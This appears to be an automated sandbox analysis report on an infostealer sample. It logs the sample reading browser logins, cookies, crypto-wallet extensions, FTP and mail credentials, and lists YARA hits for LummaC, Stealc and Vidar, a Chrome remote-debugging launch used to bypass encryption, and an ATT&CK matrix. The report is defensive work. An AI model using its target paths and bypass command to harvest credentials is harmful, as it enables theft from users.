Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Documents\BAAFBFBAAK.exe	Directory queried: C:\Users\user\Documents

Source: Yara match	File source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.3046365841.00000000001D4000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3048071959.0000000000B92000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: iUKUR1nUyD.exe PID: 2360, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: QCOQEKY6WEL3K5GC9727N7E.exe PID: 6224, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: iUKUR1nUyD.exe PID: 2360, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.3046365841.0000000000101000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3048071959.0000000000B1E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: QCOQEKY6WEL3K5GC9727N7E.exe PID: 6224, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: QCOQEKY6WEL3K5GC9727N7E.exe PID: 6224, type: MEMORYSTR

Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Code function: 4_2_6C610C40 sqlite3_bind_zeroblob,	4_2_6C610C40
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Code function: 4_2_6C610D60 sqlite3_bind_parameter_name,	4_2_6C610D60
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Code function: 4_2_6C538EA0 sqlite3_clear_bindings,	4_2_6C538EA0
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Code function: 4_2_6C610B40 sqlite3_bind_value,sqlite3_bind_int64,sqlite3_bind_double,sqlite3_bind_zeroblob,	4_2_6C610B40
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Code function: 4_2_6C536410 bind,WSAGetLastError,	4_2_6C536410
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Code function: 4_2_6C53C050 sqlite3_bind_parameter_index,strlen,strncmp,strncmp,	4_2_6C53C050
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Code function: 4_2_6C536070 PR_Listen,	4_2_6C536070
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Code function: 4_2_6C53C030 sqlite3_bind_parameter_count,	4_2_6C53C030
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Code function: 4_2_6C5360B0 listen,WSAGetLastError,	4_2_6C5360B0
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Code function: 4_2_6C4C22D0 sqlite3_bind_blob,	4_2_6C4C22D0
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Code function: 4_2_6C5363C0 PR_Bind,	4_2_6C5363C0
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Code function: 4_2_6C539400 sqlite3_bind_int64,	4_2_6C539400
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Code function: 4_2_6C5394C0 sqlite3_bind_text,	4_2_6C5394C0
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Code function: 4_2_6C5394F0 sqlite3_bind_text16,	4_2_6C5394F0
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Code function: 4_2_6C539480 sqlite3_bind_null,	4_2_6C539480
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Code function: 4_2_6C5392E0 sqlite3_bind_double,	4_2_6C5392E0
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Code function: 4_2_6C539380 sqlite3_bind_int,	4_2_6C539380

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	12 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	41 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	2 Bypass User Account Control	11 Deobfuscate/Decode Files or Information	LSASS Memory	13 File and Directory Discovery	Remote Desktop Protocol	41 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	1 Registry Run Keys / Startup Folder	1 Extra Window Memory Injection	4 Obfuscated Files or Information	Security Account Manager	248 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 PowerShell	Login Hook	12 Process Injection	12 Software Packing	NTDS	11 Query Registry	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	1 Scheduled Task/Job	1 DLL Side-Loading	LSA Secrets	971 Security Software Discovery	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	1 Registry Run Keys / Startup Folder	2 Bypass User Account Control	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Extra Window Memory Injection	DCSync	471 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Masquerading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
